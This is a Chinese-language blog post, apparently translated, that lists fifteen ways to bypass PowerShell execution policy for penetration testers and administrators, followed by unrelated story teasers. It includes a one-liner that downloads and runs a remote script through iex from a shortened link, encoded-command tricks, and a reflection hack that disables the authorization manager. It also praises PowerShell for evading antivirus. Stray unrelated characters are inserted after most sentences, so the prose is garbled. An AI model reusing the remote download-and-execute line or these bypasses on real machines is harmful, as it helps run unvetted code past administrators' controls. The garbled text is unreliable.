哪些方法可以繞過(guò)PowerShell Execution Policy?

默認(rèn)情況下返咱,PowerShell禁止PowerShell腳本在Windows系統(tǒng)中執(zhí)行钥庇。這會(huì)妨礙滲透測(cè)試員,系統(tǒng)管理員咖摹,和開(kāi)發(fā)人員……在這里我將在沒(méi)有系統(tǒng)管理員權(quán)限的情況下通過(guò)15個(gè)方法來(lái)繞過(guò)PowerShell execution policy评姨。
我肯定還有很多的技術(shù)漏了(或者我根本不知道),但希望這篇文章將給需要它的人提供一個(gè)良好的開(kāi)端萤晴。

** 什么是PowerShell Execution Policy?**
PowerShell execution policy 是用來(lái)決定哪些類(lèi)型的PowerShell腳本可以在系統(tǒng)中運(yùn)行吐句。默認(rèn)情況下,它是“Restricted”(限制)的店读。然而嗦枢,這個(gè)設(shè)置從來(lái)沒(méi)有算是一種安全控制。相反屯断,它會(huì)阻礙管理員操作文虏。這就是為什么我們有這么多繞過(guò)它的方法。包括一些微軟提供的殖演。更多關(guān)于在PowerShell執(zhí)行政策設(shè)置氧秘,默認(rèn)的安全控制的設(shè)置。我建議閱讀Carlos Perez的博客趴久。他提供了一個(gè)很好的概述丸相。

** 為什么要繞過(guò)執(zhí)行政策**
我聽(tīng)到的最多的原因是因?yàn)槿藗兿M麑?shí)現(xiàn)自動(dòng)化操作,但下面還有一些其他原因致使PowerShell在管理員彼棍、滲透測(cè)試員灭忠、黑客們手中如此流行:

支持Windows
能調(diào)用Windows API
能在不寫(xiě)入磁盤(pán)的情況下運(yùn)行命令
能避免病毒的檢測(cè)
總是被標(biāo)記為"信任"。是大部分應(yīng)用程序的白名單一員座硕。
曾寫(xiě)出過(guò)許多的開(kāi)源滲透測(cè)試工具包

如何查看Execution Policy
在能夠使用所有完美功能的PowerShell之前弛作,攻擊者可以繞過(guò)“Restricted”(限制)execution policy。你可以通過(guò)PowerShell命令“executionpolicy“看看當(dāng)前的配置坎吻。如果你第一次看它的設(shè)置可能設(shè)置為“Restricted”(限制)缆蝉,如下圖所示

PS C:> Get-ExecutionPolicy
Powershell_Bypass_1.png

同樣值得注意的是execution policy可以在系統(tǒng)中設(shè)置不同的級(jí)別。要查看他們使用下面的命令列表瘦真。更多信息可以點(diǎn)擊這里查看微軟的“Set-ExecutionPolicy” 刊头。

Get-ExecutionPolicy -List | Format-Table -AutoSize


實(shí)驗(yàn)環(huán)境說(shuō)明
在下面的例子中我將使用一個(gè)名為runme.ps1的腳本,它將包含以下PowerShell命令來(lái)寫(xiě)出一個(gè)消息到控制臺(tái):

Write-Host "My voice is my passport, verify me."

當(dāng)我試圖在一個(gè)帶有默認(rèn)execution policy的系統(tǒng)上執(zhí)行它時(shí)诸尽,我得到以下錯(cuò)誤:


如果你目前的execution policy是開(kāi)放的原杂,你想讓它更嚴(yán)格的測(cè)試,下面的技巧您机,然后從管理員PowerShell控制臺(tái)運(yùn)行命令“Set-ExecutionPolicy Restricted”穿肄。OK,那我接著B(niǎo)B了际看,接下來(lái)我會(huì)通過(guò)15種方法來(lái)繞過(guò)PowerShell execution policy的限制咸产。

繞過(guò)PowerShell Execution Policy
1. 把腳本直接粘貼到交互式的PowerShell控制臺(tái)
復(fù)制并粘貼你的PowerShell腳本為一個(gè)交互式控制臺(tái)如下圖所示。但是仲闽,請(qǐng)記住脑溢,你將被當(dāng)前用戶(hù)權(quán)限限制。這是最基本的例子赖欣,當(dāng)你有一個(gè)交互控制臺(tái)時(shí)屑彻,可以方便快速地運(yùn)行腳本。此外顶吮,這種技術(shù)不會(huì)更改配置或需要寫(xiě)入磁盤(pán)社牲。


2. Echo腳本并PowerShell的標(biāo)準(zhǔn)輸入
簡(jiǎn)單的ECHO腳本到PowerShell的標(biāo)準(zhǔn)輸入。這種技術(shù)不會(huì)導(dǎo)致配置的更改或要求寫(xiě)入磁盤(pán)悴了。

Echo Write-Host "My voice is my passport, verify me."  | PowerShell.exe -noprofile -


3. 從文件中讀取腳本并通過(guò)PowerShell的標(biāo)準(zhǔn)輸入
使用Windows的"type"命令或PowerShell的"Get-Content"命令來(lái)從磁盤(pán)讀取你的腳本并輸入到標(biāo)準(zhǔn)的PowerShell中搏恤,這種技術(shù)不會(huì)導(dǎo)致配置文件的更改,但是需要寫(xiě)入磁盤(pán)湃交。然而熟空,如果你想試圖避免寫(xiě)到磁盤(pán),你可以從網(wǎng)絡(luò)上讀取你的腳本巡揍。
例1:Get-Content Powershell命令

Get-Content .runme.ps1 | PowerShell.exe -noprofile -


例2:Type 命令

TYPE .runme.ps1 | PowerShell.exe -noprofile -


4. 從網(wǎng)絡(luò)上下載腳本并通過(guò)IEX執(zhí)行它
這種技術(shù)可以用來(lái)從網(wǎng)上下載一個(gè)PowerShell腳本并執(zhí)行它無(wú)需寫(xiě)入磁盤(pán)痛阻。它也不會(huì)導(dǎo)致任何配置更改。我已經(jīng)看到它有許多創(chuàng)造性的使用方法腮敌,但最近看到它被引用到一個(gè)不錯(cuò)的Matt Graeber的PowerSploit博客上阱当。

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"


5. 使用Command
這種技術(shù)和通過(guò)復(fù)制和粘貼來(lái)執(zhí)行一個(gè)腳本是非常相似的,但它可以做沒(méi)有交互式控制臺(tái)糜工。這是很好的方式適合執(zhí)行簡(jiǎn)單的腳本弊添,但更復(fù)雜的腳本通常容易出現(xiàn)錯(cuò)誤。這種技術(shù)不會(huì)導(dǎo)致配置更改或要求寫(xiě)入磁盤(pán)捌木。
例1:完整的命令

Powershell -command "Write-Host 'My voice is my passport, verify me.'"


例2:簡(jiǎn)短的命令

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

6. 使用EncodeCommand
這和使用"Command"命令非常像油坝,但它為所有的腳本提供了一個(gè)Unicode / Base64編碼串。通過(guò)這種方式加密你的腳本可以幫你繞過(guò)所有通過(guò)"Command"執(zhí)行時(shí)會(huì)遇到的錯(cuò)誤。這種技術(shù)不會(huì)導(dǎo)致配置文件的更改或要求寫(xiě)入磁盤(pán)澈圈。下面的示例來(lái)自 Posh-SecMod彬檀。
例1: 完整的命令

$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand


例2: 通過(guò)簡(jiǎn)短的命令使用編碼串

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. 使用Invoke-Command命令
我在obscuresec的博客看到了這種有趣的方法。這是一個(gè)典型的通過(guò)交互式PowerShell控制臺(tái)執(zhí)行的方法瞬女。但最酷的是當(dāng)PowerShell遠(yuǎn)程處理開(kāi)啟時(shí)我可以用它來(lái)對(duì)遠(yuǎn)程系統(tǒng)執(zhí)行命令窍帝。這種技術(shù)不會(huì)導(dǎo)致配置更改或要求寫(xiě)入磁盤(pán)。

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}


基于obscuresec博客诽偷,下面的命令還可以用來(lái)抓取從遠(yuǎn)程計(jì)算機(jī)的execution policy并將其應(yīng)用到本地計(jì)算機(jī)坤学。

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8. 使用Invoke-Expression命令
這是另一個(gè)典型的通過(guò)交互式PowerShell控制臺(tái)執(zhí)行的方法。這種技術(shù)不會(huì)導(dǎo)致配置更改或要求寫(xiě)入磁盤(pán)报慕。下面我列舉了一些常用的方法來(lái)通過(guò)Invoke-Expression繞過(guò)execution policy深浮。
例1:使用Get-Content的完整命令

Get-Content .runme.ps1 | Invoke-Expression


例2:使用Get-Content的簡(jiǎn)短的命令

GC .runme.ps1 | iex

9.使用"Bypass"標(biāo)記Execution Policy
當(dāng)你通過(guò)腳本文件執(zhí)行命令的時(shí)候這是一個(gè)很好的繞過(guò)execution policy的方法。當(dāng)你使用這個(gè)標(biāo)記的時(shí)候"沒(méi)有任何東西被阻止眠冈,沒(méi)有任何警告或提示"飞苇。這種技術(shù)不會(huì)導(dǎo)致配置更改或要求寫(xiě)入磁盤(pán)。

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1


10. 使用"Unrestricted"標(biāo)記Execution Policy
這類(lèi)似于"Bypass"標(biāo)記洋闽。當(dāng)你使用這個(gè)標(biāo)記的時(shí)候,它會(huì)"加載所有的配置文件并運(yùn)行所有的腳本玄柠。如果你運(yùn)行從網(wǎng)上下載的一個(gè)未被簽名的腳本,它會(huì)提示你需要權(quán)限",這種技術(shù)不會(huì)導(dǎo)致配置的更改或要求寫(xiě)入磁盤(pán)诫舅。

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1


11. 使用 "Remote-Signed"標(biāo)記Execution Policy
創(chuàng)建你的腳本羽利,然后按照教程的操作。最后刊懈,使用下面的命令運(yùn)行它:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. 通過(guò)交換AuthorizationManager禁用ExecutionPolicy
這真是一個(gè)我碰到的來(lái)自http://www.nivot.org的創(chuàng)意这弧。下面的函數(shù)可以通過(guò)一個(gè)交互式的PowerShell來(lái)執(zhí)行。一旦函數(shù)被調(diào)用"AuthorizationManager"就會(huì)被替換成空虚汛。最終結(jié)果是匾浪,接下來(lái)的會(huì)話(huà)基本上不受execution policy的限制。然而卷哩,它的變化將被應(yīng)用于會(huì)話(huà)的持續(xù)時(shí)間蛋辈。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}  Disable-ExecutionPolicy  .runme.ps1


13. 把ExcutionPolicy設(shè)置成Process Scope
正如我們?cè)谝灾兴吹降模瑘?zhí)行策略可以應(yīng)用于多層次的将谊。這包括你控制的過(guò)程冷溶。使用這種技術(shù),執(zhí)行策略可以被設(shè)置為您的會(huì)話(huà)的持續(xù)時(shí)間不受限制尊浓。此外逞频,它不會(huì)導(dǎo)致在配置更改,或需要寫(xiě)入到磁盤(pán)栋齿。我最初發(fā)現(xiàn)這種技術(shù)來(lái)自r007break博客苗胀。

Set-ExecutionPolicy Bypass -Scope Process


14. 通過(guò)命令設(shè)置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類(lèi)似襟诸。但是這種方法通過(guò)修改注冊(cè)表將當(dāng)前用戶(hù)環(huán)境的設(shè)置應(yīng)用到當(dāng)前用戶(hù)的環(huán)境中。此外基协,它不會(huì)導(dǎo)致在配置更改歌亲,或需要寫(xiě)入到磁盤(pán)。我最初發(fā)現(xiàn)這種技術(shù)來(lái)自r007break博客堡掏。

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted


15. 通過(guò)注冊(cè)表設(shè)置ExcutionPolicy為CurrentUser Scope
在這個(gè)例子中应结,我展示了如何通過(guò)修改注冊(cè)表項(xiàng)來(lái)改變當(dāng)前用戶(hù)的環(huán)境的執(zhí)行策略刨疼。

HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

總結(jié)
我覺(jué)得這里的主題是:使用的execution policy不一定是開(kāi)發(fā)商泉唁,管理員,或者揩慕。微軟從來(lái)沒(méi)有打算將它成為一個(gè)安全控制亭畜。這就是為什么有這么多選擇繞過(guò)它。微軟很好地提供了一些本地選項(xiàng)和安全社區(qū)也拿出一些真正有趣的把戲迎卤。感謝所有通過(guò)博客和演講做出貢獻(xiàn)的人拴鸵。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市蜗搔,隨后出現(xiàn)的幾起案子劲藐,更是在濱河造成了極大的恐慌,老刑警劉巖樟凄,帶你破解...
    沈念sama閱讀 221,273評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件聘芜,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡缝龄,警方通過(guò)查閱死者的電腦和手機(jī)汰现,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,349評(píng)論 3 398
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)叔壤,“玉大人瞎饲,你說(shuō)我怎么就攤上這事×痘妫” “怎么了嗅战?”我有些...
    開(kāi)封第一講書(shū)人閱讀 167,709評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)俺亮。 經(jīng)常有香客問(wèn)我驮捍,道長(zhǎng),這世上最難降的妖魔是什么铅辞? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,520評(píng)論 1 296
  • 正文 為了忘掉前任厌漂,我火速辦了婚禮,結(jié)果婚禮上斟珊,老公的妹妹穿的比我還像新娘苇倡。我一直安慰自己富纸,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,515評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布旨椒。 她就那樣靜靜地躺著晓褪,像睡著了一般。 火紅的嫁衣襯著肌膚如雪综慎。 梳的紋絲不亂的頭發(fā)上涣仿,一...
    開(kāi)封第一講書(shū)人閱讀 52,158評(píng)論 1 308
  • 那天,我揣著相機(jī)與錄音示惊,去河邊找鬼好港。 笑死,一個(gè)胖子當(dāng)著我的面吹牛米罚,可吹牛的內(nèi)容都是我干的钧汹。 我是一名探鬼主播,決...
    沈念sama閱讀 40,755評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼录择,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼拔莱!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起隘竭,我...
    開(kāi)封第一講書(shū)人閱讀 39,660評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤塘秦,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后动看,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體尊剔,經(jīng)...
    沈念sama閱讀 46,203評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,287評(píng)論 3 340
  • 正文 我和宋清朗相戀三年弧圆,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了赋兵。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,427評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡搔预,死狀恐怖霹期,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情拯田,我是刑警寧澤历造,帶...
    沈念sama閱讀 36,122評(píng)論 5 349
  • 正文 年R本政府宣布,位于F島的核電站船庇,受9級(jí)特大地震影響吭产,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜鸭轮,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,801評(píng)論 3 333
  • 文/蒙蒙 一臣淤、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧窃爷,春花似錦邑蒋、人聲如沸姓蜂。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,272評(píng)論 0 23
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)钱慢。三九已至,卻和暖如春卿堂,著一層夾襖步出監(jiān)牢的瞬間束莫,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,393評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工草描, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留览绿,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,808評(píng)論 3 376
  • 正文 我出身青樓陶珠,卻偏偏與公主長(zhǎng)得像挟裂,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子揍诽,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,440評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開(kāi)發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見(jiàn)模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn)栗竖,斷路器暑脆,智...
    卡卡羅2017閱讀 134,693評(píng)論 18 139
  • Spring Boot 參考指南 介紹 轉(zhuǎn)載自:https://www.gitbook.com/book/qbgb...
    毛宇鵬閱讀 46,838評(píng)論 6 342
  • Ubuntu的發(fā)音 Ubuntu份名,源于非洲祖魯人和科薩人的語(yǔ)言碟联,發(fā)作 oo-boon-too 的音。了解發(fā)音是有意...
    螢火蟲(chóng)de夢(mèng)閱讀 99,301評(píng)論 9 467
  • linux資料總章2.1 1.0寫(xiě)的不好抱歉 但是2.0已經(jīng)改了很多 但是錯(cuò)誤還是無(wú)法避免 以后資料會(huì)慢慢更新 大...
    數(shù)據(jù)革命閱讀 12,175評(píng)論 2 33
  • 鏡由心生 · 閱讀 5 · 日記本 作者 【每日計(jì)劃(早宣晚結(jié))】 聚才LP3所向披靡僵腺!學(xué)...
    鏡由心生閱讀 170評(píng)論 0 0